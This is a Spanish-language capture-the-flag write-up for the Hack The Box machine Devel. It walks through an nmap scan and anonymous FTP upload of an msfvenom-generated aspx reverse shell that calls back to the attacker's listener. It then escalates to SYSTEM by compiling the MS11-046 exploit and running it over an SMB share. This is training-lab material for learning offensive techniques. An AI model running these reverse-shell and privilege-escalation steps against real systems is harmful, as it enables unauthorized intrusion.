Devel - Hack The Box - ESP

DESCRIPCION

En este post realizaremos el write up de la máquina Devel. Tocaremos los conceptos de conexión por ftp con las credenciales anonymous:anonymous, crearemos una reverse shell en formato aspx utilizando msfvenom y escalaremos privilegios a través de la vulnerabilidad CVE-2011-1249 bautizada como MS11-046.

INDICE

ESCANEO DE PUERTOS


Escaneamos con nmap los puertos abiertos en la máquina Devel:

 cat Puertos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: Puertos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    nmap --open -p- -T5 -oG Puertos 10.10.10.5
   2    Host: 10.10.10.5 () Status: Up
   3    Host: 10.10.10.5 () Ports: 21/open/tcp//ftp///, 80/open/tcp//http///    Ignored State: filtered (65533)
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ Reconocimiento Puertos

{*} Extrayendo puertos...

	La direccion ip es: 10.10.10.5
	Los puertos abiertos son: 21,80

	Los puertos han sido copiados al portapapeles


Escaneamos al objetivo con los scripts predeterminados de nmap, apuntando a los puertos abiertos en busca de más información.

 cat Objetivos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: Objetivos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    nmap -sCV -p 21,80 -oN Objetivos 10.10.10.5
   2    Nmap scan report for 10.10.10.5
   3    Host is up (0.053s latency).
   4    
   5    PORT   STATE SERVICE VERSION
   6    21/tcp open  ftp     Microsoft ftpd
   7    | ftp-syst: 
   8    |_  SYST: Windows_NT
   9    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
  10    | 03-18-17  02:06AM       <DIR>          aspnet_client
  11    | 03-17-17  05:37PM                  689 iisstart.htm
  12    |_03-17-17  05:37PM               184946 welcome.png
  13    80/tcp open  http    Microsoft IIS httpd 7.5
  14    |_http-title: IIS7
  15    | http-methods: 
  16    |_  Potentially risky methods: TRACE
  17    |_http-server-header: Microsoft-IIS/7.5
  18    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Podemos observar que tenemos acceso al ftp por anonymous:anonymous y que el servidor web está utilizando Microsoft IIS 7.5, Hacktricks.

FTP


Si accedemos por ftp con las credenciales anonymous:anonymous parece ser que estamos en la ruta donde se aloja el contenido del servidor web.

❯ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:void4m0n): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||49169|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png

Tenemos permisos de escritura, por lo que podríamos intentar subir una reverse shell.

INTRUSION

CREACION DE LA REVSHELL


De primeras intenté hacer uso de php-reverse-shell.php, pero por lo que parece el servidor lo tenía contemplado y no dejaba acceder a ella mediante el buscador, por lo que recurrí a msfvenom para crear una reverse shell en formato ejecutable aspx.

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.2 LPORT=1234 -f aspx > revshell.aspx

SUBIR REVSHELL POR FTP


Subimos revshell.aspx por ftp.

ftp> put revshell.aspx 
local: revshell.aspx remote: revshell.aspx
229 Entering Extended Passive Mode (|||49178|)
125 Data connection already open; Transfer starting.
100% |****************************|  2739       28.39 MiB/s    --:-- ETA
226 Transfer complete.
2739 bytes sent in 00:00 (18.83 KiB/s)

RECIBIR LA CONEXION


1 - Nos ponemos por escucha en el puerto indicado, haciendo uso de rlwrap para disponer de una shell más interactiva.

❯ rlwrap nc -lvnp 1234
listening on [any] 1234 ...


2 - Hacemos una petición por GET a revshell.aspx.

curl -s -X GET "http://10.10.10.5/revshell.aspx"


3 - Recibimos la conexión.

❯ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.5] 49181
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>

ESCALADA DE PRIVILEGIOS


Una vez tenemos la shell, hacemos systeminfo para observar a que nos enfrentamos.

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:   
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31 
System Boot Time:          5/9/2022, 12:03:54 
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     3.071 MB
Available Physical Memory: 2.504 MB
Virtual Memory: Max Size:  6.141 MB
Virtual Memory: Available: 5.576 MB
Virtual Memory: In Use:    565 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Local Area Connection 3
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.5
                                 [02]: fe80::58c0:f1cf:abc6:bb9e
                                 [03]: dead:beef::85fa:bd6b:8264:8a30
                                 [04]: dead:beef::58c0:f1cf:abc6:bb9e

Nos fijamos en OS Name: Microsoft Windows 7 Enterprise y OS Version: 6.1.7600 N/A Build 7600.

Haciendo una pequeña búsqueda encontramos el siguiente exploit en Exploit-db.

1 - Descargamos el script.

❯ wget -O MS11-046-Privesc.c https://www.exploit-db.com/raw/40564
--2022-09-05 00:21:50--  https://www.exploit-db.com/raw/40564
Resolviendo www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Conectando con www.exploit-db.com (www.exploit-db.com)[192.124.249.13]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: no especificado [text/plain]
Grabando a: «MS11-046-Privesc.c»

MS11-046-Privesc.c                                      [ <=>                                                                                                               ]  31,91K  --.-KB/s    en 0,03s   

2022-09-05 00:21:51 (980 KB/s) - «MS11-046-Privesc.c» guardado [32674]


2 - Compilamos en formato .exe.

❯ i686-w64-mingw32-gcc -o MS11-046-Privesc.exe MS11-046-Privesc.c -lws2_32


3 - Para compartirnos el ejecutable nos montamos un servidor smb en el directorio de trabajo.

❯ impacket-smbserver smbfolder .
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed


4 - Desde la máquina víctima llamamos al ejecutable por smb.

c:\windows\system32\inetsrv>//10.10.16.2/SMBFOLDER/MS11-046-Privesc.exe

c:\Windows\System32>whoami
nt authority\system

¡Somos nt authority\system!

FLAGS

User.txt

Directory of c:\Users\babis\Desktop

type user.txt
7b20xxxxxxxxxxxxxxxxxxxxxxxxxxxx

Root.txt

Directory of c:\Users\Administrator\Desktop

type root.txt
5968xxxxxxxxxxxxxxxxxxxxxxxxxxxx

CONOCIMIENTOS OBTENIDOS;


De la máquina Devel podemos extraer los siguientes conocimientos:

  • Reconocimiento de puertos con nmap.
  • Conexion por ftp con credenciales anonymous:anonymous.
  • Reverse shell .aspx.
  • Compartir recursos por smb.
  • Compilar script en c a .exe en linux.

ERRORES


Un posible error que podéis sufrir es el siguiente:

  • Si el exploit falla a la hora de escalar privilegios recordad que a la hora de compilar el script se debe usar el parámetro -lws2_32.

AUTORES y REFERENCIAS


Autor del write up: Luis Miranda Sierra (Void4m0n) HTB. Si queréis contactarme por cualquier motivo lo podéis hacer a través de Twitter.

Autor de la máquina: ch4p, muchas gracias por la creación de Devel aportando a la comunidad. HTB.